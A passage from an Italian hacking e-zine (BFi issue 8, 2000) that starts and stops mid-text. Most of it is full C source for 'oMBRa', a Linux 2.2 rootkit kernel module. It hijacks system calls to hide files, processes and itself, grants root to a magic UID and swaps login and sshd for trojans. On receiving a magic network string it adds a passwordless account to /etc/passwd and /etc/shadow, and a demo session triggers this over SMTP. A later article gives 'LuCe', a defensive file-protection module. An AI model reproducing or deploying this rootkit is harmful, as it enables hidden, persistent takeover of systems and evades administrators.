DoomDns with UID:0 and TTY: Feb 26 17:58:25 MaNTRa kernel: sys_sendto(): flushot with UID:0, TTY: and IP: 1.2.3.4 Il log dell'IP spoofato e' deciso dal define LOG, senza il quale NON verra' loggato il fake IP, con notevole risparmio di disco da parte di klogd. Have a nice Counter-DoS Day =;) FuSyS, pIGpEN ============================================================================== --------------------------------[ EOF 13/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-14100755 0 0 42661 7102660046 10754 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 14 di 28 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ OMBRE E LUCi DEL KERNEL LiNUX 2.2.X : oMBRa LKM -----[ FuSyS -----[ OMBRE E LUCI DEL KERNEL LINUX 2.2.X ]----- -----[ oMBRa LKM ]----- NO(C)1999 FuSyS - [S0ftpj|BFi] Non molto da dire. Il modulo oMBRa e' la versione aggiornata per kernel 2.2.x del modulo CaRoGNa, con qualche modifica aggiuntiva per renderlo interessante nonostante non sia nulla di trascendente. Il concetto e' quello classico del dirottamente delle chiamate di sistema, teste di ponte tra la zona utente e la zona interna del kernel, popolata da strutture, liste collegate e dati che non sono direttamente manipolabili dai normali programmi che girano nel vostro sistema operativo. L'articolo sul modulo LuCe sara' ovviamente piu' prolisso ed esplicativo, dove invece questo e' rappresentato praticamente dal solo LKM che ora vi mostro: <-| ombra.c |-> /* * oMBRa.c Implementazione del modulo CaRoGNa, * per kernel Linux 2.2.x * Tecnica Segreta n.2 della divina scuola * dell' HOKUHACKO. Sacro Colpo del Rinnovamento * Modulare che Travolge la Radice. * * __NO__(C)1999 FuSyS [S0ftPj|BFi] * * * Compilate con: gcc -c -O2 -fomit-frame-pointer oMBRa.c * Installate con: insmod oMBRa.o * NB: l'azzeramento di struct module *mp deve essere * coadiuvato da -O3 e bisogna anche azzeccare il registro * che ne consenta l'accesso. altrimenti usare la nuova * query_module per occultarsi a lsmod * * 3l33t quote: "wow, e funzica anche su Solaris ?" * Tnx'n'credits: HalfLife(syscalls), Zarq(heroin), Plaguez(itf), * Pragmatic(LKM paper), BFi */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #define SUBVISUS "SPJ2K" #define LKMNAME "oMBRa" #define SIGNIHIL 31 #define PF_DISAPPEAR 0x00002000 #define SACROUID 7777 #define KING 500 #define LOGIN "/bin/login" #define SSHD "/usr/local/bin/sshd" #define PASSWD "/etc/passwd" #define SHADOW "/etc/shadow" #define ACCOUNT "spj2k::1:6:spj2k:/tmp:/bin/bash\n" #define ACCSHDW "spj2k::10968:0:99999:7:-1:-1:134538412\n" inline int suser(void) { if (!issecure(SECURE_NOROOT) && ((current->euid == 0)|| (current->euid == KING))) { current->flags |= PF_SUPERPRIV; return 1; } return 0; } inline int fsuser(void) { if (!issecure(SECURE_NOROOT) && ((current->fsuid == 0)|| (current->euid == KING))) { current->flags |= PF_SUPERPRIV; return 1; } return 0; } inline int capable(int cap) { if ((cap_raised(current->cap_effective, cap))||(current->euid == KING)) { current->flags |= PF_SUPERPRIV; return 1; } return 0; } int promisc, errno, __NR_myexecve; int (*old_execve) (struct pt_regs); int (*old_kill) (pid_t, int) ; int (*old_getdents) (unsigned int, struct dirent *, unsigned int) ; int (*old_unlink) (const char *) ; int (*old_chdir) (const char *) ; int (*old_setuid) (uid_t) ; int (*old_getuid) () ; int (*old_ioctl) (unsigned int, unsigned int, unsigned long) ; int (*old_socketcall) (int, unsigned long *); int (*old_query_module)(const char *, int, char *, size_t, size_t *) ; extern void *sys_call_table[] ; int (*open)(const char*, int, mode_t); int (*write)(unsigned int, char*, unsigned int); int (*close)(int); int atoi(char str[]) { int res = 0; int i ; for(i = 0; str[i] >='0' && str[i] <='9'; ++i) res = 10 * res + str[i] - '0'; return res; } inline char *task_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } int secret(pid_t pid) { struct task_struct *task = get_task(pid); char *name; if (task) { name = (char *)kmalloc(200, GFP_KERNEL); memset(name, 0, 200); task_name(task, name); if (strstr(name, SUBVISUS)!=NULL) { kfree(name); return 1; } kfree(name); } return 0; } int killinv(pid_t pid) { struct task_struct *task = get_task(pid); if(task == NULL) return 0; if (task->flags & PF_DISAPPEAR) { return 1; } return 0; } int new_execve(struct pt_regs regs) { char *filename; int error; filename=getname((char *) regs.ebx); error = PTR_ERR(filename); if (IS_ERR(filename)) return error; if(strstr(filename, LOGIN)){ error=do_execve("/SPJ2Kdir/SPJ2Klogin_t",(char **)regs.ecx,(char **)regs.edx,®s); } if(strstr(filename, SSHD)){ error=do_execve("/SPJ2Kdir/SPJ2Ksshd_t",(char **)regs.ecx,(char **)regs.edx,®s); } else error = do_execve(filename,(char **)regs.ecx,(char **)regs.edx,®s); if (error == 0) current->flags &= ~PF_DTRACE; putname(filename); return error; } int new_getdents(unsigned int fd, struct dirent *dirptr, unsigned int count) { unsigned int real ; unsigned int len ; int readen ; int proc; struct dirent *dirptr2, *dirptr3; struct inode *procinode; real = (*old_getdents) (fd, dirptr, count); if(real == -1) return(-errno); #ifdef __LINUX_DCACHE_H procinode = current->files->fd[fd]->f_dentry->d_inode; #else procinode = current->files->fd[fd]->f_inode; #endif if (procinode->i_ino == PROC_ROOT_INO && !MAJOR(procinode->i_dev) && MINOR(procinode->i_dev) == 1) proc = 1; if (current->uid == KING) return(real); if (real > 0) { dirptr2 = (struct dirent *)kmalloc(real, GFP_KERNEL); copy_from_user(dirptr2, dirptr, real); dirptr3 = dirptr2; readen = real; while (readen > 0) { len = dirptr3->d_reclen; readen -= len; if ((strstr((char *)&(dirptr3->d_name), (char *)SUBVISUS) !=NULL) || (proc && secret(atoi(dirptr3->d_name))) || (proc && killinv(atoi(dirptr3->d_name)))) { if (readen != 0) memmove(dirptr3, (char *)dirptr3 + dirptr3->d_reclen, readen); else dirptr3->d_off = 1024; real -= len; } if (dirptr3->d_reclen == 0) { real -= readen; readen = 0; } if (readen != 0) dirptr3 = (struct dirent *)((char *) dirptr3 + dirptr3->d_reclen); } copy_to_user(dirptr, dirptr2, real); kfree(dirptr2); } return(real); } int new_unlink(const char *pathname) { int ret; char *path2; path2=(char*)kmalloc(256, GFP_KERNEL); copy_from_user(path2, pathname, 255); if(strstr(path2, SUBVISUS)) { if(current->uid != KING){ kfree(path2); return -EPERM ; } else { kfree(path2); ret = (*old_unlink) (pathname); return(ret); } } else ret = (*old_unlink) (pathname); kfree(path2); return(ret); } int new_chdir(const char *filename) { int ret; char *name; name=(char*)kmalloc(256, GFP_KERNEL); copy_from_user(name, filename, 255); if(strstr(name, SUBVISUS)) { if(current->uid != KING){ kfree(name); return -ENOENT ; } else { kfree(name); ret = (*old_chdir) (filename); return(ret); } } else ret = (*old_chdir) (filename); kfree(name); return(ret); } int new_kill(pid_t pid, int sig) { int real; struct task_struct *task = get_task(pid); if ((sig != SIGNIHIL) && (sig != SIGTSTP)) { real = (*old_kill)(pid, sig); if (real == -1) return(-errno); return real; } if (sig == SIGNIHIL) { task->flags |= PF_DISAPPEAR; return(0); } else if (sig == SIGTSTP) { task->uid = task->gid = task->euid = task->egid = 0; task->cap_effective |= (1 << (CAP_DAC_OVERRIDE)); return(real); } return(0); } int new_setuid(uid_t uid) { int tmp; if (uid == SACROUID) { current->uid = 0; current->gid = 0; current->euid = 0; current->egid = 0; current->cap_effective |= (1 << (CAP_DAC_OVERRIDE)); return 0; } tmp = (*old_setuid) (uid) ; return tmp; } int new_getuid() { int tmp; if (current->uid == SACROUID) { current->uid = 0; current->gid = 0; current->euid = 0; current->egid = 0; return 0; } tmp = (*old_getuid) () ; return tmp; } int new_ioctl (unsigned int fd, unsigned int cmd, unsigned long arg) { int ret ; struct ifreq netif ; ret = (*old_ioctl) (fd, cmd, arg); if (cmd == SIOCGIFFLAGS && !promisc) { copy_from_user((struct ifreq *)&netif, (struct ifreq *)arg, sizeof(struct ifreq)); netif.ifr_flags = netif.ifr_flags & (~IFF_PROMISC); copy_to_user((struct ifreq *) arg, (struct ifreq *) &netif, sizeof(struct ifreq)); } else if (cmd == SIOCSIFFLAGS) sys_call_table[SYS_ioctl] = old_ioctl; return ret ; } int new_socketcall(int call, unsigned long *args) { int ret, compt, fd=0; mm_segment_t old_fs; unsigned long *sargs = args; unsigned long a0, a1; void *buf; ret = (*old_socketcall) (call, args); if (call ==SYS_RECV || call == SYS_RECVFROM || call == SYS_RECVMSG) { get_user(a0, sargs); get_user(a1, sargs + 1); buf = kmalloc(ret, GFP_KERNEL); copy_from_user(buf, (void *) a1, ret); for (compt = 0; compt < ret; compt++) if (((char *) (buf))[compt] == 0) ((char *) (buf))[compt] = 1; if (strstr(buf, "SPJ5cc7tN3w")) { current->cap_effective |= (1 << (CAP_DAC_OVERRIDE)); old_fs=current->addr_limit; current->addr_limit=(KERNEL_DS); fd=(*open)(PASSWD, O_RDWR|O_APPEND, 0644); printk("%d\n",fd); (*write)(fd,ACCOUNT,strlen(ACCOUNT)); (*close)(fd); fd=(*open)(SHADOW, O_RDWR|O_APPEND, 0400); printk("%d\n",fd); (*write)(fd,ACCSHDW,strlen(ACCSHDW)); (*close)(fd); current->addr_limit=old_fs; current->cap_effective &= ~(1 << (CAP_DAC_OVERRIDE)); } kfree(buf); } return ret; } int new_query_module(const char *name, int which, char *buf, size_t bufsize, size_t *ret) { int res; int cnt; char *ptr, *match; res = (*old_query_module)(name, which, buf, bufsize, ret); if(res == -1) return(-errno); if(which != QM_MODULES) return(res); ptr = buf; for(cnt = 0; cnt < *ret; cnt++) { if(!strcmp(LKMNAME, ptr)) { match = ptr; while(*ptr) ptr++; ptr++; memcpy(match, ptr, bufsize - (ptr - (char *)buf)); (*ret)--; return(res); } while(*ptr) ptr++; ptr++; } return(res); } int init_module(void) { /* register struct module *mp asm("%ebp"); *(char *) (mp->name) = 0; mp->size = 0; */ EXPORT_NO_SYMBOLS; old_execve = sys_call_table[SYS_execve]; sys_call_table[__NR_myexecve] = old_execve; sys_call_table[SYS_execve] = (void *) new_execve; old_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = (void *) new_getdents; old_unlink= sys_call_table[SYS_unlink]; sys_call_table[SYS_unlink] = (void *) new_unlink; old_chdir= sys_call_table[SYS_chdir]; sys_call_table[SYS_chdir] = (void *) new_chdir; old_kill = sys_call_table[SYS_kill]; sys_call_table[SYS_kill] = (void *) new_kill; old_setuid = sys_call_table[SYS_setuid]; sys_call_table[SYS_setuid] = (void *) new_setuid; old_getuid = sys_call_table[SYS_getuid]; sys_call_table[SYS_getuid] = (void *) new_getuid; old_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = (void *) new_ioctl; old_socketcall = sys_call_table[SYS_socketcall]; sys_call_table[SYS_socketcall] = (void *) new_socketcall; /* old_query_module = sys_call_table[SYS_query_module]; sys_call_table[SYS_query_module]=(void *)new_query_module; */ open = sys_call_table[SYS_open]; close = sys_call_table[SYS_close]; write = sys_call_table[SYS_write]; return 0; } void cleanup_module(void) { sys_call_table[SYS_execve]=old_execve; sys_call_table[SYS_getdents] = old_getdents; sys_call_table[SYS_unlink] = old_unlink; sys_call_table[SYS_chdir] = old_chdir; sys_call_table[SYS_kill] = old_kill; sys_call_table[SYS_setuid] = old_setuid; sys_call_table[SYS_getuid] = old_getuid; sys_call_table[SYS_ioctl] = old_ioctl; sys_call_table[SYS_socketcall] = old_socketcall; /* sys_call_table[SYS_query_module] = old_query_module; */ } <-X-> Ci sono delle aggiunte che saltano all'occhio al di la' del normale uso delle nuove macro richieste dal 2.2.x, come l'uso di nuove chiamate di sistema e l'aggiunta di due tipi di backdoor, giusto per avere una idea di cosa si possa fare anche dal kernel: [root@MaNTRa LKM]# insmod oMBRa.o [root@MaNTRa LKM]# mkdir SPJ2Ksecretdir [root@MaNTRa LKM]# ls CaRoGNa.c LuCe.c LuCe.o N0Sp00f.c arcane.c oMBRa.c oMBRa.o [root@MaNTRa LKM]# cd SPJ2Ksecretdir bash: SPJ2Ksecretdir: No such file or directory [root@MaNTRa LKM]# touch SPJ2Kfile [root@MaNTRa LKM]# ls CaRoGNa.c LuCe.c LuCe.o N0Sp00f.c arcane.c oMBRa.c oMBRa.o [root@MaNTRa LKM]# rm SPJ2Kfile rm: remove `SPJ2Kfile'? y rm: cannot unlink `SPJ2Kfile': Operation not permitted ... [fusys@MaNTRa fusys]$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: [...snip...] squid:x:102:234::/var/spool/squid:/dev/null fusys:x:500:500:FuSyS:/home/fusys:/bin/bash [fusys@MaNTRa fusys]$ telnet mantra 25 Trying 192.168.1.1... Connected to MaNTRa.FuZZy.net. Escape character is '^]'. 220 MaNTRa.FuZZy.net ESMTP Sendmail 8.9.3/8.9.3; Sun, 19 Mar 2000 14:54:30 +0100 expn SPJ5cc7tN3w 550 SPJ5cc7tN3w... User unknown quit 221 MaNTRa.FuZZy.net closing connection Connection closed by foreign host. [fusys@MaNTRa fusys]$ grep spj2k /etc/passwd spj2k::1:6:spj2k:/root:/bin/bash [root@MaNTRa root]# grep spj2k /etc/shadow spj2k::10968:0:99999:7:-1:-1:134538412 ... Le prime modifiche impediranno al root legale di accedere ai vostri dati o di cancellarli, anche nel caso capisse quale sia la stringa che permette loro di passare occultati agli occhi di ps(1), ls(1) e top(1) .... quindi una bella subdir occultata, sara' ora anche protetta. Un'altra modifica ancora permette di poter creare nuovi utenti sul sistema. Una occhiata al codice sorgente mostrera' quale sia questa semplice e simpaticamente didattica backdoor. Un ritocco rapido a execve() permette anche di nascondere abilmente due trojan che possiamo usare per tornare sul sistema. Dirottando il kernel nel momento in cui cerchi di eseguire login o sshd, possiamo usufruire sia di una backdoor, sia della sicurezza che il nostro binario non venga scoperto, in quanto i veri demoni di sistema NON verranno modificati. FuSyS ============================================================================== --------------------------------[ EOF 14/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-15100755 0 0 61700 7102660046 10750 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 15 di 28 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ 0MBRE E LUCi DEL KERNEL LiNUX 2.2.X : LuCe LKM -----[ FuSyS -----[ OMBRE E LUCI DEL KERNEL LINUX 2.2.X ]----- -----[ LuCe LKM ]----- NO(C)1999 FuSyS - [S0ftpj|BFi] Ovviamente anche i sysadmin possono avvalersi del supporto LKM per Linux. In fondo, occuparsi di hacking vuol dire, oltre alle miriadi di varie e mirabolanti definizioni piu' o meno conosciute, anche 'andare un pochino oltre' alla norma. Con questo intendo che un modulo non debba servire solo come device driver che occupa meno memoria, o come supporto on-the-fly a diverse lingue e tabelle di encoding. Come abbiamo visto con i moduli CaRoGNa e oMBRa, i moduli possono e VENGONO attivamente utilizzati dai cracker per mantenersi il piu' a lungo possibile all'interno di un sistema bucato, anche e dopo che la loro incursione possa esser stata scoperta, ma non ci sia modo per root di formattare e reinstallare il tutto. Certo anche un amministratore di sistema puo' decidere di approntare e poi nascondere all'interno del kernel delle modifiche che possano essere utili nell'aumentare e mantenere la sicurezza di un sistema, sia prima che dopo una eventuale incursione riuscita. D'altra parte modificare i sorgenti del kernel, non sempre o su tutte le macchine disponibili, e ricompilare un kernel monolitico, non e' in ogni caso una soluzione accettabile o almeno fattibile. Ecco che un Loadable Kernel Module, o LKM, risponde ai requisiti di un SysOp che debba elevare la soglia di danno in un sistema non velocemente modificabile a livello di immagine di boot. Un semplice insmod(1) per poter patchare 'al volo' un sistema, per il tempo necessario. -----[ L I N E E D I D I F E S A ]----- Come abbiamo visto nella prima parte del progetto CaRoNTe, su BFi3, cio' che ci interessa sono fondamentalmente le chiamate di sistema, ponti di accesso in kernel-land, per poter operare su dati e dispositivi altrimenti inaccessibili. In un sistema UN!X, e quindi anche Linux [per favore tralasciamo le comuni guerre di religione *BSD|Linux], e' fondamentale poter contare sulla integrita' di alcuni file, quali ad esempio /etc/passwd e /etc/shadow che gestiscono gli account di sistema. I file di log sono un altro importante diktat della nostra zona militarizzata, in quanto devono essere in grado di poter raccontarci cosa e' successo. Anche /dev/mem e /dev/kmem sono due ricettacoli di informazioni sensitive: molti exploit del passato hanno operato su questi per poter aumentare i privilegi degli attaccanti, senza contare che variare casualmente il loro contenuto puo' avere effetti non preventivabili e spesso irreparabili per l'integrita' del sistema. D'altra parte e' pratica utilizzata, seppur non comune, passare direttamente dai block device per operare modifiche ai dischi e quindi ai file. Ne avete avuto prova nell'exploit per SuSE presente in BFi#7. E' necessario poter bloccare anche questo tipo di accessi. -----[ S O L U Z I O N I ]----- Il filesystem Ext2 prevede la possibilita' di gestire alcune flag per ogni file presente su disco. Queste flag sono (da /usr/include/linux/ext2_fs.h): /* * Inode flags */ #define EXT2_SECRM_FL 0x00000001 /* Secure deletion */ #define EXT2_UNRM_FL 0x00000002 /* Undelete */ #define EXT2_COMPR_FL 0x00000004 /* Compress file */ #define EXT2_SYNC_FL 0x00000008 /* Synchronous updates */ #define EXT2_IMMUTABLE_FL 0x00000010 /* Immutable file */ #define EXT2_APPEND_FL 0x00000020 /* writes may only append */ #define EXT2_NODUMP_FL 0x00000040 /* do not dump file */ #define EXT2_NOATIME_FL 0x00000080 /* do not update atime */ /* compression usage... */ #define EXT2_DIRTY_FL 0x00000100 #define EXT2_COMPRBLK_FL 0x00000200 /* 1+ compressed clusters */ #define EXT2_NOCOMP_FL 0x00000400 /* Don't compress */ #define EXT2_ECOMPR_FL 0x00000800 /* Compression error */ /* End compression flags */ #define EXT2_BTREE_FL 0x00001000 /* btree format dir */ #define EXT2_RESERVED_FL 0x80000000 /* reserved for ext2 lib */ #define EXT2_FL_USER_VISIBLE 0x00001FFF /* User visible flags */ #define EXT2_FL_USER_MODIFIABLE 0x000000FF /* User modifiable flags */ Le prime otto sono utili per poter gestire in maniera piu' granulare i file di sistema. Meglio conosciute sono le due flag IMMUTABLE_FL e APPEND_FL , per altro presenti anche in altri UN!X, che gestiscono la possibilita' di NON poter modificare un file, e di non poter scrivervi sopra se non partendo da (SEEK_END+1). Solamente root puo' settare queste flag, di solito mediante il programma chattr(1), mentre chiunque puo' visualizzarle, mediante lsattr(1). Il problema e' che root puo' ovviamente rimuovere, mediante chattr(1), tutte le flag che desideri da ogni file, rendendo quindi inutile la loro stessa precedente presenza. Ovviamente root puo' anche scrivere comodamente in /dev/kmem ed aprire ogni block device che gli interessi mediante semplici chiamate della libC. Come a dire: il sistema e' sicuro fino e non oltre una intrusione a root. Dopodiche' .... AMEN. Questo non e' ovviamente accettabile su alcune macchine, ed e' per questo che sono stati ideati dei metodi per rinforzare la sicurezza del kernel. Nelle varie progenie dello UN!X BSD, esiste il concetto di securelevel. Dalle pagine di definizione del kernel 4.4BSD : -1 Permanently insecure mode: Always run system in 0 mode (must be compiled into the kernel) 0 Insecure mode: Immutable and append-Only flags may be turned off. All devices can be read or written, subject to their permissions 1 Secure mode: The superuser-settable immutable and append-only flags cannot be cleared; disks for mounted filesystems and kernel memory (/dev/mem and /dev/kmem) are read-only 2 Highly secure mode: This mode is the same as secure mode, except that disks are always read-only whether mounted or not. This level precludes even a superuser process from tampering with filesystems by unmounting them, but also inhibits formatting of new filesystems Possiamo vedere come il livello di sicurezza 2 sia effettivamente una barriera insormontabile per la maggior parte dei cracker poco motivati e dotati tecnicamente e per la totalita' degli script-kiddies. Al di la' della chiamata settimeofday(2) la differenza sostanziale rientra nel gruppo di block device che vengono resi read-only. Quindi forse, nel securelevel 1 e' possibile umountare un filesystem per poi accedervi in raw. Molto meglio a questo punto puntare al livello 2. Caratteristica comune e' l'impossibilita' anche per root di variare le flag APPEND_FL e IMMUTABLE_FL di un file, di scrivere in /dev/mem e /dev/kmem e di accedere in raw ai device di tipo block. E sotto Linux? All'epoca del kernel 2.0.x esisteva anche in Linux il concetto di securelevel, che poteva esser portato da 1 a 0, per poter bloccare le due flag. Non c'era pero' controllo sui dischi in raw. Con l'avvento del 2.2.x ed il 2.4.x ormai alle porte, e' arrivato in Linux-World un nuovo sistema di controllo della sicurezza. Le POSIX Capabilities. Basandosi su un draft mai divenuto standard, il POSIX1.e, queste capabilities creano una astrazione dal normale uso dello UID UN!X, per decidere se un processo abbia o meno la possibilita' di portare a termine un determinato evento. Non voglio qui entrare a fondo delle Linux Capabilities. I primi assaggi sono presenti in /usr/include/linux/capabilities.h e nel kernel, in ~linux/kernel/capability.c . In un prossimo articolo le vedremo piu' a fondo. Eppure, le prime distro basate su 2.2.x non hanno alcuna utility, libreria o predisposizione in zona utente per le Capabilities. Tale predisposizione esiste solo nel kernel. In piu', la possibilita' di gestire le capabilities anche per i file, oltre che per i processi, non e' ancora standard, ma esiste solo come patch al kernel per utilizzare l'header ELF come dimora di queste flag. -----[ L u C e L K M ]----- Per questi ed altri motivi non ho concepito LuCe come strato aggiuntivo alle Linux Capabilities, per altro molto interessanti, eppur sconosciute ai piu'. Invece questo LKM cerca di operare una protezione base su una serie di files scelti dal SysOp, ed implementa anche un securelevel 2 come quello *BSD. Vediamo prima il codice. <-| LuCe.c |-> /* * LuCe.c Modulo Kernel per Linux per tenere * d'occhio il sistema, ed aggiungere * sicurezza 'al volo' ad un 'running' * preesistente. Contiene una semplice * implementazione dei securelevel BSD * in attesa dell'arrivo ufficiale con * le Linux Capabilities [POSIX 1.e] * nel kernel 2.4.x di solide ACL. * Per maggiori informazioni leggete * il relativo articolo sul numero 8 * di BFi, liberamente prelevabile e * consultabile dal seguente URL: * * ---[ http://www.s0ftpj.org/bfi/ ]--- * * __NO__(C)2000 FuSyS [S0ftPj|BFi] * * * * Compilate con: gcc -c -O2 -fomit-frame-pointer LuCe.c * Installate con: insmod LuCe.o * * 3l33t quote: "wow, e funzica anche su Solaris ?" * Tnx'n'credits: 4.4BSD, Daemon9(Hardening the ...), * Pragmatic(LKM paper), BFi * */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #define LKMNAME "LuCe" #define DISK 6 volatile int secure=0; MODULE_PARM(secure, "i"); char *protetti[10]={"/etc/passwd", "/etc/shadow", "/dev/mem", "/dev/kmem", NULL, NULL, NULL, NULL, NULL, NULL}; struct inode luxes[10]; extern void *sys_call_table[]; int (*old_open)(const char*, int, mode_t); int (*old_unlink)(const char*); int (*old_ioctl) (unsigned int, unsigned int, unsigned long); int (*old_umount)(char*, int); int (*old_mount)(char*, char*, char*, unsigned long, void*); int (*old_execve)(struct pt_regs); int (*old_query_module)(const char *, int, char *, size_t, size_t *); unsigned long (*old_create_module)(const char*, size_t); int inocpy(struct inode * inode, struct inode *dest) { if (!dest) return -EFAULT; memcpy(dest,inode,sizeof(struct inode)); return 0; } int inocmp(struct inode *in1, struct inode *in2) { if (kdev_t_to_nr(in1->i_dev)!=kdev_t_to_nr(in2->i_dev)) return 1; if (in1->i_ino!=in2->i_ino) return 1; return 0; } /* ~linux/fs/stat.c */ int do_revalidate(struct dentry *dentry) { struct inode *inode = dentry->d_inode; if(inode->i_op && inode->i_op->revalidate) return inode->i_op->revalidate(dentry); return 0; } /* ~linux/fs/namei.c */ struct dentry *kernelnamei(const char *name) { struct dentry *dentry; dentry=lookup_dentry(name, NULL, 1); if(!IS_ERR(dentry)){ if(!dentry->d_inode){ dput(dentry); dentry = ERR_PTR(-ENOENT); } } return dentry; } /* ~linux/fs/namei.c */ void get_lux_inode(const char *name, struct inode *inode) { struct dentry *dentry; int error; dentry = kernelnamei(name); error=PTR_ERR(dentry); if(!IS_ERR(dentry)){ error = do_revalidate(dentry); if(!error) inocpy(dentry->d_inode, inode); dput(dentry); } } void get_luxes() { int i=0; while(protetti[i] && i<10) { get_lux_inode(protetti[i], &luxes[i]); i++; } } int lux_open(const char *filename, int flags, int mode) { int i=0; struct inode lux; char *name; if(current->pid != 1 || current->p_opptr->pid != 1){ name=getname(filename); get_lux_inode(name, &lux); while(protetti[i]){ if(!inocmp(&lux, &luxes[i])){ if(flags & (O_RDWR|O_WRONLY)){ printk(KERN_INFO "LuCe: Tentativo di Scrittura su %s mediante %s [UID %d TTY %s]\n", filename, current->comm, current->uid, current->tty->driver.driver_name); putname(name); return -EACCES; } } i++; } if(secure) { if((S_ISBLK(lux.i_mode))&&(lux.i_gid==DISK)){ if(flags & (O_RDWR|O_WRONLY)){ if(current->pid != 1 || current->p_opptr->pid != 1){ printk(KERN_INFO "LuCe: Accesso Raw al disco %s mediante %s [UID %d TTY %s]\n", filename, current->comm, current->uid, current->tty->driver.driver_name); putname(name); return -EACCES; } } } } } return (*old_open)(filename, flags, mode); } int lux_unlink(const char *pathname) { int i=0; struct inode lux; char *name; name=getname(pathname); get_lux_inode(name, &lux); while(protetti[i]){ if(!inocmp(&lux, &luxes[i])){ printk(KERN_INFO "LuCe: Tentativo di Unlink su %s mediante %s [UID %d TTY %s]\n", pathname, current->comm, current->uid, current->tty->driver.driver_name); putname(name); return -EACCES; } i++; } putname(name); return (*old_unlink)(pathname); } int lux_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg) { unsigned int flags; struct file *f; if(cmd == EXT2_IOC_SETFLAGS){ f=current->files->fd[fd]; if(get_user(flags, (int *)arg)) return -EFAULT; if(secure){ if(((flags&(EXT2_APPEND_FL|EXT2_IMMUTABLE_FL))^ (f->f_dentry->d_inode->u.ext2_i.i_flags&(EXT2_APPEND_FL|EXT2_IMMUTABLE_FL)))){ printk(KERN_INFO "LuCe: Tentativo di Modifica %s su %s mediante %s [UID %d TTY %s]\n", (flags&(EXT2_APPEND_FL))?"EXT2_APPEND_FL":"EXT2_IMMUTABLE_FL", f->f_dentry->d_name.name, current->comm, current->uid, current->tty->driver.driver_name); return -EPERM; } else return (*old_ioctl)(fd, cmd, arg); } } return (*old_ioctl)(fd, cmd, arg); } int lux_umount(char *name, int flags) { if(secure){ printk(KERN_INFO "LuCe: Tentativo di Umount su %s [UID %d TTY %s]\n", name, current->uid, current->tty->driver.driver_name); return -EPERM; } return (*old_umount)(name, flags); } int lux_mount(char * dev_name, char * dir_name, char * type, unsigned long new_flags, void * data) { if(secure){ printk(KERN_INFO "LuCe: Tentativo di Mount su %s [UID %d TTY %s]\n", dev_name, current->uid, current->tty->driver.driver_name); return -EPERM; } return (*old_mount)(dev_name, dir_name, type, new_flags, data); } int lux_execve(struct pt_regs regs) { char *filename; char **argvs; int error; filename=getname((char *) regs.ebx); argvs = (char **)regs.ecx; error = PTR_ERR(filename); if (IS_ERR(filename)) return error; if(strstr(filename, "/sbin/init")){ if((strstr(argvs[1], "6"))||(strstr(argvs[1], "0"))){ printk(KERN_INFO "LuCe: Chiusura del Sistema\n"); secure = 0; } } error = do_execve(filename,(char **)regs.ecx,(char **)regs.edx,®s); if (error == 0) current->flags &= ~PF_DTRACE; putname(filename); return error; } void ttycredit(char *str) { struct tty_struct *mytty; if((mytty = current->tty) != NULL) { (*(mytty->driver).write)(mytty, 0, str, strlen(str)); } } unsigned long lux_create_module(const char *name, size_t size) { if(secure){ printk(KERN_INFO "LuCe: Tentativo di Caricamento Modulo %s [UID %d TTY %s]\n", name, current->uid, current->tty->driver.driver_name); return -EPERM; } else return (*old_create_module)(name, size); } int new_query_module(const char *name, int which, char *buf, size_t bufsize, size_t *ret) { int res, cnt, errno=0; char *ptr, *match; res = (*old_query_module)(name, which, buf, bufsize, ret); if(res == -1) return(-errno); if(which != QM_MODULES) return(res); ptr = buf; for(cnt = 0; cnt < *ret; cnt++) { if(!strcmp(LKMNAME, ptr)) { match = ptr; while(*ptr) ptr++; ptr++; memcpy(match, ptr, bufsize - (ptr - (char *)buf)); (*ret)--; return(res); } while(*ptr) ptr++; ptr++; } return(res); } int init_module(void) { EXPORT_NO_SYMBOLS; get_luxes(); old_open = sys_call_table[SYS_open]; sys_call_table[SYS_open] = (void *) lux_open; old_unlink = sys_call_table[SYS_unlink]; sys_call_table[SYS_unlink] = (void *) lux_unlink; old_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = (void *) lux_ioctl; old_umount = sys_call_table[SYS_umount]; sys_call_table[SYS_umount] = (void *) lux_umount; old_mount = sys_call_table[SYS_mount]; sys_call_table[SYS_mount] = (void *) lux_mount; old_execve = sys_call_table[SYS_execve]; sys_call_table[SYS_execve] = (void *) lux_execve; old_create_module = sys_call_table[SYS_create_module]; sys_call_table[SYS_create_module] = (void *) lux_create_module; old_query_module = sys_call_table[SYS_query_module]; sys_call_table[SYS_query_module]=(void *) new_query_module; ttycredit("\n\033[1;32mLuCe \033[1;34m[Linux 2.2.x LKM] by FuSyS [S0ftPj|BFi]\033[0m\r\n\r\n"); printk(KERN_INFO "LuCe LKM Attivato\n"); return 0; } void cleanup_module(void) { sys_call_table[SYS_open] = old_open; sys_call_table[SYS_unlink] = old_unlink; sys_call_table[SYS_ioctl] = old_ioctl; sys_call_table[SYS_umount] = old_umount; sys_call_table[SYS_mount] = old_mount; sys_call_table[SYS_execve] = old_execve; sys_call_table[SYS_create_module] = old_create_module; sys_call_table[SYS_query_module] = old_query_module; ttycredit("\n\033[1;34mLuCe LKM Disattivato\033[0m\r\n\r\n"); printk(KERN_INFO "LuCe LKM Disattivato\n"); } <-X-> [root@MaNTRa LKM]# chattr +i /etc/passwd [root@MaNTRa LKM]# chattr +i /etc/shadow [root@MaNTRa LKM]# chattr 